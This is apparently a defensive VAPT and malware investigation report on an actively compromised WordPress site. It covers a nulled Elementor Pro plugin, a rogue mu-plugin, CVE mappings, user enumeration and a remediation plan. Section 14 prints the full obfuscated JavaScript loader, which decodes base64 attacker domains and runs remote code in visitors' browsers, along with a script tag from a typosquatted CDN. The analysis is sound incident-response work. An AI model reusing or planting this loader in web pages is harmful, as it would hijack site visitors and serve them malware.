JS Web Design ServicesSECURITY ASSESSMENT & MALWARE INVESTIGATION
junsanchez.com.ph

VAPT + Malware Investigation Report

WordPress Security Assessment

Target: example-website.com  ·  2026-08-20  ·  External / non-destructive

⚠ ACTIVE COMPROMISE CONFIRMED

At a Glance

Overall Risk
CRITICAL
Compromise
CONFIRMEDactive · site-wide
Likely Vector
Nulled Pro Elements+ rogue mu-plugin
Confidence
HIGHcompromise · vector: medium

Findings by severity

16FINDINGS
Critical2
High2
Medium2
Low4
Info6

Infection & attack chain

EntryNulled “Pro Elements”
→
PersistenceRogue mu-plugin tji-mu
→
PayloadMalicious JS on every page
→
ImpactVisitor → TDS redirect / malware

Obfuscated loader decodes hidden C2 domains via atob() and executes remote attacker code in the browser.

Key IOCs ntdnewtds.shopdnsnewtds.shopcdn.claritydelivr.com__performance_optimizer_v6tji-mu-js

Detailed narrative in Section 1 – Executive Summary; full malware analysis in Section 14.

Targethttps://example-website.com/
PlatformWordPress 6.8.8 + Elementor 4.2.3 / Pro Elements 4.0.4
Assessment typeExternal (black-box) VAPT + WordPress malware/compromise investigation
Engagement modeNon-destructive, read-only. No exploitation of data-modifying or persistence-creating vulnerabilities.
Date2026-08-20
Assessor viewpointUnauthenticated Internet attacker (no filesystem, SSH, WP-CLI, or database access)
⚠️ HEADLINE CONCLUSION — ACTIVE COMPROMISE CONFIRMED. The website is serving malicious, obfuscated JavaScript on every page that decodes hidden command-and-control domains and loads/executes remote attacker-controlled code in visitors' browsers (a Traffic Distribution System / redirect-malware loader). This is a confirmed, live infection requiring immediate incident response. See Section 14 (Malware Investigation) and Finding M-01.

1. Executive Summary

Sample Report's website (example-website.com) is a WordPress site built with Elementor, hosted on GoDaddy Managed WordPress and fronted by Cloudflare. The assessment was conducted entirely from an external, unauthenticated position.

The site is actively compromised. Every page delivers an injected JavaScript loader that is disguised as a "performance optimizer." The loader base64-decodes three hidden strings into the domains ntdnewtds.shop and dnsnewtds.shop (the substring "newtds" = "new TDS", a Traffic Distribution System — infrastructure used almost exclusively by malware to redirect and monetise victim traffic), then uses a synchronous XMLHttpRequest to pull remote JavaScript and execute it in the visitor's browser. A second injected tag loads mpackage.js from cdn.claritydelivr.com, a domain that typosquats Microsoft Clarity (the real domain is clarity.ms). There is no legitimate explanation for this code; it is malware.

The most likely enabling condition is the site's use of "Pro Elements" — an unofficial/"nulled" redistribution of the premium Elementor Pro plugin. Nulled premium plugins are the single most common initial-access vector for WordPress compromise and receive no official security updates. The injection appears to be delivered globally (in both <head> and footer) via a custom-code/header-footer mechanism whose script handle is tji-mu — a naming pattern consistent with a rogue must-use (mu-) plugin, a stealth persistence location that auto-loads and is hidden from the standard plugin list. The exact injection point cannot be confirmed from outside and must be verified on the server.

Beyond the active malware, the site carries a vulnerable, unmaintained premium plugin (Pro Elements 4.0.4, which contains the code path for the critical unauthenticated Elementor Pro Forms RCE CVE-2026-32475), the Elementor Ally plugin (subject to unauthenticated SQLi CVE-2026-2413 in versions ≤ 4.0.3), open REST user enumeration exposing an admin account, and a full set of missing HTTP security headers.

To its credit, the platform also shows real defensive controls: Cloudflare WAF blocks XML-RPC and direct access to sensitive files, only TLS 1.2/1.3 are enabled with a valid certificate, WordPress core minor-security auto-updates are being applied (6.8.8 is the current patched release on the 6.8 branch), reCAPTCHA is present on forms, and the Two-Factor plugin is installed.

MetricRating
Overall riskCRITICAL
Compromise statusCONFIRMED (active)
Most likely infection vectorNulled "Pro Elements" plugin / abused custom-code mechanism; persistence via rogue mu-plugin (unconfirmed)
Assessment confidenceCompromise: HIGH · Exact vector: MEDIUM (no server access)

2. Scope

3. Assessment Methodology

Aligned to OWASP WSTG and a standard WordPress DFIR workflow, adapted to an external vantage point:

  1. Reconnaissance — DNS, hosting/ASN, TLS, HTTP headers, redirect chain, CDN/WAF, robots/sitemap.
  2. WordPress enumeration — core/theme/plugin fingerprinting via generator meta, enqueued asset versions, REST namespaces, changelog files.
  3. Vulnerability intelligence — mapping detected versions to NVD/CVE, WPScan, Patchstack, and vendor advisories (current as of Aug 2026).
  4. Malware / compromise investigation — static analysis of rendered HTML/JS for injected code, obfuscation, TDS/redirect loaders, iframes, and external domains; base64 decoding; Googlebot cloaking comparison; referrer-based redirect testing.
  5. External attack surface — REST API, XML-RPC, login, user enumeration, CORS, sensitive-file exposure, directory indexing.
  6. Reporting — evidence capture, false-positive review, severity/CVSS rating, remediation prioritisation.

Tooling: curl, dig, whois, openssl, manual HTTP analysis, base64 decoding, and current threat-intelligence lookups. All requests were low-volume.

4. Environment Overview

AttributeValue
Domainexample-website.com
A record160.153.0.146
AAAAnone
Nameserversns03/ns04.domaincontrol.com (GoDaddy)
Hosting / ASNGoDaddy.com, LLC (GO-DADDY-COM-LLC, 160.153.0.0/16), US
Edge / CDN / WAFCloudflare (server: cloudflare, cf-ray present)
Origin platformGoDaddy Managed WordPress (x-gateway-cache-*, wpaas/v1 REST namespace)
MailMicrosoft 365 (Outlook / *.mail.protection.outlook.com)
TLSTLS 1.2 + 1.3 only; TLS 1.0/1.1 disabled; cert by Google Trust Services (valid Aug 3 – Nov 1 2026)
CMSWordPress 6.8.8 (current patched release on 6.8 branch)
Page builderElementor 4.2.3 (free) + Pro Elements 4.0.4 (unofficial Elementor Pro redistribution)
ThemeHello Elementor (child/kit elementor-kit-279340)
Notable pluginsPro Elements, Elementor Ally (ea11y), Elementor AI, Yoast SEO, Redirection, FluentSMTP, Two-Factor, Schema & Structured Data for WP (saswp 1.60), fast-cache-169, "Secure WP Pro 1.0.0", GoDaddy mu-plugins (wpaas, gdl, object cache)

5. Overall Security Rating

CRITICAL. A single Critical malware finding (active site-wide malicious JavaScript) dominates the risk profile and, on its own, warrants emergency remediation. It is compounded by a nulled premium plugin containing known-critical vulnerable code and an unauthenticated-SQLi-class plugin. Configuration hygiene (headers, user enumeration) is weak but secondary to the active infection.

SeverityCount
Critical2
High2
Medium2
Low4
Informational6

6. Critical Findings

M-01 — Active site-wide malicious JavaScript injection (TDS / redirect malware) — CRITICAL

See full analysis in Section 14. Injected inline loader + external mpackage.js on 100% of pages. IOCs: ntdnewtds.shop, dnsnewtds.shop, cdn.claritydelivr.com.

V-01 — "Pro Elements" nulled Elementor Pro (4.0.4): unofficial, unmaintained, contains critical vulnerable code (CVE-2026-32475) — CRITICAL (component) / see notes

See Sections 11 & 19. Codebase-identical to Elementor Pro 4.0.4, within the affected range (≤ 4.2.1) of the unauthenticated Forms file-upload RCE CVE-2026-32475 (CVSS 9.0, patched only in official Pro 4.2.2). Being an unofficial redistribution, it will not receive that fix through normal channels and cannot be integrity-verified externally. It is also the most probable initial-access vector for M-01.

7. High Findings

V-02 — Elementor "Ally" plugin: unauthenticated SQL injection (CVE-2026-2413, CVSS 7.5) — HIGH (conditional)

The ea11y/v1 REST namespace confirms the Ally – Web Accessibility & Usability plugin is installed. CVE-2026-2413 is an unauthenticated, time-based blind SQL injection in get_global_remediations() affecting all versions ≤ 4.0.3. Exploitation requires the plugin's *Remediation* module to be active (i.e., connected to an Elementor account). The installed Ally version and remediation-module state could not be confirmed externally and must be verified. If ≤ 4.0.3 with remediation active, unauthenticated attackers can extract database contents (including password hashes and session data).

V-03 — WordPress REST API user enumeration exposing an admin account — HIGH

Unauthenticated user enumeration is fully open via multiple paths (/wp-json/wp/v2/users, /?author=1, /?rest_route=/wp/v2/users). It discloses:

An enumerable, predictably named admin account provides attackers a confirmed valid username for credential-stuffing/brute-force. (Rated High rather than Medium because it directly supports the credential-attack path against a site that is already compromised.) *Limitation:* the unauthenticated endpoint lists only users who have authored content, so additional hidden accounts cannot be ruled out from outside — see V-13.

8. Medium Findings

V-04 — Predictable administrator username "admin" — MEDIUM

The admin username is the single most-guessed WordPress account name. Combined with the open enumeration above and a publicly reachable wp-login.php, it materially lowers the cost of a brute-force/credential-stuffing campaign. Mitigated in part by the installed Two-Factor plugin *if 2FA is enforced on that account* (unconfirmed).

V-05 — Permissive CORS on the REST API — MEDIUM (context-dependent)

/wp-json/ reflects an arbitrary request Origin back in Access-Control-Allow-Origin and returns Access-Control-Allow-Credentials: true. Important nuance: this is the *default* behaviour of WordPress core (rest_send_cors_headers()), and the practical risk is limited because authenticated REST actions require an X-WP-Nonce that cross-origin script cannot read. It is nonetheless a hardening weakness — especially with no CSP to constrain script origins on a currently-compromised site — and is listed for completeness rather than as an independent high-risk flaw.

9. Low Findings

V-06 — Missing HTTP security headers — LOW

None of the following are present on primary responses: Strict-Transport-Security, Content-Security-Policy, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy. Notably, a Content-Security-Policy would have blunted M-01 by restricting which script origins may load — its absence is directly relevant to the current infection. Missing X-Frame-Options/CSP frame-ancestors also allows clickjacking; missing HSTS weakens transport security despite the working HTTP→HTTPS redirect.

V-07 — WordPress version / software disclosure — LOW

The site discloses WordPress 6.8.8 (generator meta), Elementor 4.2.3, Pro Elements 4.0.4, and Secure WP Pro 1.0.0 via generator tags and enqueued asset versions; readme.html is reachable (HTTP 200). This lets attackers map exact versions to CVEs with no effort.

V-08 — Missing DMARC (and CAA) DNS records — LOW

SPF exists and is strict (v=spf1 include:secureserver.net -all), and mail is on Microsoft 365, but no _dmarc record was found, leaving the domain without DMARC alignment/reporting and more spoofable for phishing. No CAA record is published (minor CA-issuance hardening gap).

V-09 — Publicly accessible wp-login.php without rate-limit evidence — LOW

wp-login.php returns HTTP 200 to any client with no IP restriction. XML-RPC is blocked (good), and Two-Factor is installed, but no login rate-limiting/lockout could be confirmed externally. Combined with V-03/V-04 this is a viable brute-force surface. *(No brute-force testing was performed.)*

10. Informational Findings

V-10 — "Secure WP Pro 1.0.0": unidentified component — INFO (verify)

A <meta name="generator" content="Secure WP Pro 1.0.0"> tag is emitted, but no plugin by that exact name is recognised in public repositories. Version 1.0.0 and the obscure name warrant manual, file-level verification to confirm it is a legitimate plugin and not attacker tooling or a decoy. No evidence links it to M-01 at this time; presented as a *suspicious indicator*, not a confirmed malicious component.

V-11 — Unknown REST namespace soro/v1 with a POST /soro/v1/publish endpoint — INFO (verify)

An unrecognised namespace soro/v1 exposes a publish POST route. It was not tested (posting could create/modify content). Its provenance and authorisation controls should be verified server-side.

V-12 — WordPress major branch behind current, but security-patched — INFO (not a vulnerability)

Core is 6.8.8 while the current release is 7.0.4 (Aug 2026). However, 6.8.8 is the current security-backport release on the 6.8 branch, indicating GoDaddy's managed minor-version auto-updates are functioning. This is a *maintenance/EOL-trajectory* note, not an exploitable gap; a planned upgrade to the 7.0 branch is advisable.

V-13 — Full user/account audit not possible externally — INFO (limitation)

Unauthenticated REST lists only content-authoring users (2 seen). Hidden administrator accounts, application passwords, and suspicious usermeta/sessions cannot be ruled out from outside and must be reviewed on the server as part of incident response (Phase 6 objectives).

V-14 — fast-cache-169 plugin: unusual slug — INFO (verify)

Caching plugin with an atypical numeric-suffixed slug (-169). Likely a legitimate host/caching component (an objectcache/v1 namespace is also present), but the non-standard name should be confirmed against a known source.

V-15 — Positive controls observed — INFO

Cloudflare WAF blocks xmlrpc.php, readme.txt, and direct access to config/backup paths; directory indexing is off; TLS 1.0/1.1 disabled; valid certificate; reCAPTCHA on public forms; Two-Factor plugin present; strict SPF; core minor-security auto-updates applied.

11. WordPress Plugin Security Assessment

PluginVersionStatusVulnerabilityMalware RiskSeverityRecommended Action
Pro Elements (nulled Elementor Pro)4.0.4Unofficial / unmaintainedCVE-2026-32475 code path (unauth Forms RCE, ≤4.2.1) present; no official updatesHigh (nulled premium = prime backdoor vector; integrity unverifiable)CriticalRemove; replace with a licensed official Elementor Pro ≥ 4.2.2 or rebuild without Pro. Integrity-scan before/after.
Elementor (free)4.2.3OfficialNot in a known-vulnerable range for detected CVEs (CVE-2026-6127 XSS affects ≤4.0.4; CVE-2026-49782 <4.1.1 — both patched here)LowInfoKeep updated.
Elementor Ally (ea11y)Unknown (installed)OfficialCVE-2026-2413 unauth SQLi (≤4.0.3, conditional on Remediation module)MediumHighConfirm version; update to latest; disable Remediation module if unused.
Elementor AI (elementor-ai)—OfficialNone identifiedLowInfoKeep updated.
Yoast SEO (yoast/v1)UnknownOfficialNone confirmedLowInfoConfirm version; keep updated.
Redirection (redirection/v1)UnknownOfficialNone confirmedLowInfoReview redirect rules for injected/malicious redirects during IR.
FluentSMTP (fluent-smtp)UnknownOfficialNone confirmedLowInfoConfirm version; verify SMTP creds not exposed.
Two-Factor (two-factor)UnknownOfficialNone (positive control)—InfoEnforce 2FA on all admin accounts.
Schema & Structured Data for WP (saswp)1.60OfficialConfirm against latest for known saswp CVEsLowInfoConfirm/patch version.
fast-cache-1691.4.1Verify sourceUnknownLow–MedInfoVerify provenance (V-14).
"Secure WP Pro"1.0.0UnidentifiedUnknownVerifyInfoManual file-level verification (V-10).
GoDaddy mu-plugins (wpaas, gdl, object cache)PlatformHost-managedN/ALowInfoExpected on GoDaddy MWP; verify none are attacker-modified during IR.
Note: absence of a plugin from public vuln databases is not proof of safety — it reflects the limits of external, unauthenticated fingerprinting. Versions marked "Unknown" require an authenticated wp plugin list / file review.

12. Theme Security Assessment

13. Elementor Security Assessment

14. Malware / Compromise Investigation

14.1 Verdict: ACTIVE COMPROMISE CONFIRMED

The site serves attacker-controlled JavaScript on every page tested. Two injected components were identified.

14.2 Injected component #1 — obfuscated remote-script loader (inline)

Delivered as an inline <script id="tji-mu-js"> in both the <head> and the footer of every page:

if(!window.__performance_optimizer_v6 && (window.__performance_optimizer_v6 = !0)){
  for(var encodedDomains = [
        "aHR0cHM6Ly9udGRuZXd0ZHMuc2hvcA==",   // https://ntdnewtds.shop
        "L2pzcmVwbz9ybmQ9",                     // /jsrepo?rnd=
        "aHR0cHM6Ly9kbnNuZXd0ZHMuc2hvcA=="    // https://dnsnewtds.shop
      ], domains = [], i = 0; i < encodedDomains.length; i++)
    domains.push(atob(encodedDomains[i]));
  var combinations = [[0,1],[2,1],[2,1]];
  function loadScript(n){
    if(!(n >= combinations.length)) try {
      var o = domains[combinations[n][0]] + domains[combinations[n][1]] + Math.random(),
          i = new XMLHttpRequest;
      if(i.open("GET", o, !1), i.send(), 200 == i.status){       // synchronous fetch
        var e = document.createElement("script");
        e.text = i.responseText; document.head.appendChild(e)     // execute remote JS
      } else loadScript(n+1)
    } catch(o){ loadScript(n+1) }
  }
  loadScript(0)
};

Behaviour: decodes hidden C2 domains, builds https://ntdnewtds.shop/jsrepo?rnd=<random> (with dnsnewtds.shop as fallback), fetches the response via a synchronous XHR, and injects it as an executable <script> into the page. The Math.random() cache-buster, multi-domain fallback list, base64 obfuscation, and the fake __performance_optimizer_v6 "performance optimizer" disguise are all classic NDSW/"newTDS"-family Traffic Distribution System techniques. The remote payload (not retrieved — see 14.4) typically fingerprints the visitor and conditionally redirects to scam/fake-update/affiliate pages or serves further malware.

14.3 Injected component #2 — external loader (fake Microsoft Clarity CDN)

<script async src="https://cdn.claritydelivr.com/mpackage.js"></script>

claritydelivr.com is not a Microsoft domain (Microsoft Clarity uses clarity.ms); it typosquats the analytics brand to appear legitimate in a casual review. mpackage.js is an attacker-controlled second-stage/parallel loader.

14.4 Payload handling

The live payloads (*newtds.shop/jsrepo, claritydelivr.com/mpackage.js) were deliberately not fetched or executed, per the non-destructive rules of engagement and to avoid contacting attacker infrastructure. The injected loader code is itself conclusive evidence of malicious intent. Retrieval and detonation of the payload should be performed by the IR team in an isolated malware sandbox.

14.5 Scope & persistence

14.6 False positives explicitly cleared

15. Suspicious Files

External black-box testing cannot enumerate server files (all direct paths return Cloudflare/gateway 403/404). The following require server-side / authenticated review during IR:

File / locationReason suspiciousEvidenceSeverityRecommended Action
wp-content/mu-plugins/* (esp. any tji*/vendor)Prime candidate source of the tji-mu global JS injection; mu-plugins auto-load & are hidden from plugin listInline handle tji-mu-js; mu-plugins/vendor path referencedCriticalInspect every mu-plugin file; compare to known-good; preserve then remove malicious ones
Active theme functions.php / child theme / Elementor Custom CodeCommon injection point for head+footer scriptGlobal head+footer injection patternCriticalReview for the injection and any eval/base64/remote-include code
Any plugin registering Secure WP Pro generatorUnidentified component<meta generator="Secure WP Pro 1.0.0">HighVerify plugin identity & files
wp-content/plugins/pro-elements/*Nulled premium plugin; integrity unverifiableVersion 4.0.4, unofficial sourceHighFull integrity scan vs official Elementor Pro; remove/replace
wp-content/uploads/**/*.phpPHP in uploads is high-risk backdoor location (could not be enumerated externally)Not observable (403)HighSearch server for any .php under uploads; treat as suspicious
wp_options autoloaded rows / wp_posts (Elementor custom code)DB is a common injection storeGlobal injection could be DB-drivenHighgrep DB for IOC domains (newtds.shop, claritydelivr)

16. Suspicious Plugins

  1. Pro Elements 4.0.4 — nulled/unofficial Elementor Pro; unmaintained; contains critical vulnerable code; probable initial-access vector. *(Confirmed unofficial; malware content unconfirmed.)*
  2. "Secure WP Pro 1.0.0" — unidentified; verify. *(Suspicious indicator only.)*
  3. soro/v1 provider (unknown plugin with POST /publish) — verify provenance/auth. *(Suspicious indicator only.)*
  4. fast-cache-169 — non-standard slug; verify source. *(Low-confidence indicator.)*

17. Suspicious Users

Externally visible accounts (from open REST enumeration):

IDDisplay nameSlugNote
2adminadminPredictable admin username; enumerable; credential-attack target
1Sample Reportsite-builderAppears to be developer/agency account ("Site Builder") — verify it is expected and 2FA-protected

Not determinable externally (require server-side audit): hidden/no-post administrator accounts, recently created users, suspicious usermeta, application passwords, active sessions. Given the confirmed compromise, a full authenticated user audit is mandatory (see V-13).

18. Persistence Mechanisms

Confirmed and candidate persistence (candidates require server confirmation):

19. Vulnerability Details

CVE-2026-32475 — Elementor Pro Forms unauthenticated file-upload → RCE

CVE-2026-2413 — Elementor "Ally" unauthenticated SQL injection

Configuration-class issues

20. Evidence

Representative evidence (full captures retained in vapt/evidence/):

*All secrets/credentials: none were exposed; none to redact. No customer PII was accessed or stored.*

21. Risk Analysis

RiskLikelihoodImpactRating
Visitors redirected to scams / served malware (M-01)Certain (active now)High (brand/legal/customer harm, SEO blacklisting)Critical
Full server compromise via nulled Pro Elements / backdoor (V-01)HighHighCritical
Database exfiltration via Ally SQLi (V-02)Medium (conditional)HighHigh
Admin account brute-force (V-03/V-04/V-09)MediumHighHigh
Clickjacking / injection due to missing headers (V-05/V-06)MediumMediumMedium
Email spoofing due to missing DMARC (V-08)MediumMediumLow–Medium

Business impact: an actively infected site risks Google Safe Browsing / blacklist warnings (traffic and reputation loss), customer trust damage, potential exposure of quote/contact-form submissions, and — via the nulled plugin and possible backdoors — full server takeover. For a services business relying on inbound leads, malware-driven redirects and browser warnings directly threaten revenue.

22. Remediation Plan

Treat as an active incident. Recommended order (report-only — do not auto-execute):

  1. Preserve evidence — full snapshot of files + database + access/error logs before any change.
  2. Identify & remove the injection — locate the tji-mu source (mu-plugins → theme → DB wp_options/Elementor meta); grep files and DB for IOCs newtds.shop, claritydelivr, __performance_optimizer_v6, jsrepo.
  3. Remove the nulled plugin — delete Pro Elements; install official, licensed Elementor Pro ≥ 4.2.2 (or rebuild without Pro).
  4. Integrity-verify everything — wp core verify-checksums; reinstall all plugins/themes from official sources; scan uploads/ for any .php.
  5. Audit accounts & secrets — review all users/roles, remove unknown admins, revoke application passwords, rotate all admin passwords, database password, wp-config.php salts, and any SMTP/API keys.
  6. Review persistence — WP-Cron/scheduled actions, .htaccess, Redirection rules, mu-plugins/.
  7. Verify the unidentified components — "Secure WP Pro", soro/v1, fast-cache-169.
  8. Harden — add CSP + full security-header set; disable/limit REST user enumeration; rename/secure the admin account; enforce 2FA on all admins; confirm login rate-limiting; add DMARC (and CAA); verify Ally version & disable unused Remediation module.
  9. Block IOCs at Cloudflare (WAF rules for the C2 domains) as an interim containment step.
  10. Re-scan & monitor — external malware re-scan (e.g., Sucuri/urlscan), filesystem-change monitoring, and request Google Safe Browsing review if flagged.

23. Prioritized Action Plan

PriorityWindowActions
P0 — ImmediateNowDeclare incident & preserve evidence (backup). Contain M-01: interim Cloudflare WAF block of newtds.shop/claritydelivr.com; begin locating & removing the injection. Remove nulled Pro Elements.
P1 — Within 24h24hFull malware cleanup + verify-checksums; reinstall plugins/themes from official sources; scan uploads/ for PHP; rotate all admin passwords, DB password, salts, SMTP/API keys; full user audit (remove rogue admins, revoke app passwords).
P2 — Within 7 days7dConfirm/patch Ally (CVE-2026-2413) & audit form definitions for upload fields (CVE-2026-32475); verify "Secure WP Pro"/soro/fast-cache-169; deploy CSP + security headers; restrict REST user enumeration; enforce 2FA; harden wp-login.php; add DMARC/CAA.
P3 — Within 30 days30dPlan WP 7.0 branch upgrade; establish file-integrity monitoring & scheduled malware scans; adopt only licensed/official plugins; periodic retest.

24. Retest Recommendations

25. Appendix

A. Confidence taxonomy used

B. Items requiring manual/authenticated verification

Ally version & Remediation state · all Elementor form definitions (upload fields) · "Secure WP Pro" identity · soro/v1 provenance/auth · fast-cache-169 source · full user table & app passwords · mu-plugins/theme/DB injection source · uploads PHP · WP-Cron.

C. Selected references

FINAL CONCLUSION

OVERALL RISK: CRITICAL

COMPROMISE STATUS: CONFIRMED (active, site-wide malicious JavaScript injection)

MOST LIKELY INFECTION VECTOR: Nulled "Pro Elements" (unofficial Elementor Pro) as initial access; global injection delivered via a custom header/footer-JS mechanism, most likely a rogue mu-plugin (tji-mu). *(Vector confidence: MEDIUM — filesystem/DB confirmation required.)*

TOP 5 PRIORITY ACTIONS:

  1. Treat as an incident: back up/preserve evidence, then locate and remove the injected loader (IOCs: newtds.shop, claritydelivr.com, __performance_optimizer_v6, jsrepo).
  2. Remove the nulled Pro Elements plugin; deploy official licensed Elementor Pro ≥ 4.2.2 (or rebuild without Pro).
  3. Verify core/plugin/theme/mu-plugin integrity (verify-checksums, reinstall from official sources) and sweep uploads/ for PHP backdoors.
  4. Rotate all credentials/secrets (admin passwords, DB password, wp-config salts, SMTP/API keys) and audit all users/app-passwords for rogue admins.
  5. Harden: add CSP + security headers, restrict REST user enumeration, enforce 2FA, patch/verify Ally (CVE-2026-2413), and add DMARC.

CONFIDENCE: HIGH (that the site is compromised and that the listed vulnerabilities are present) · MEDIUM (on the exact injection vector/persistence, pending server-side access).

*This report reflects an external, non-destructive assessment performed on 2026-08-20. Distinctions between confirmed findings, strong evidence, suspicious indicators, and hypotheses are stated throughout and should be preserved in any remediation decision.*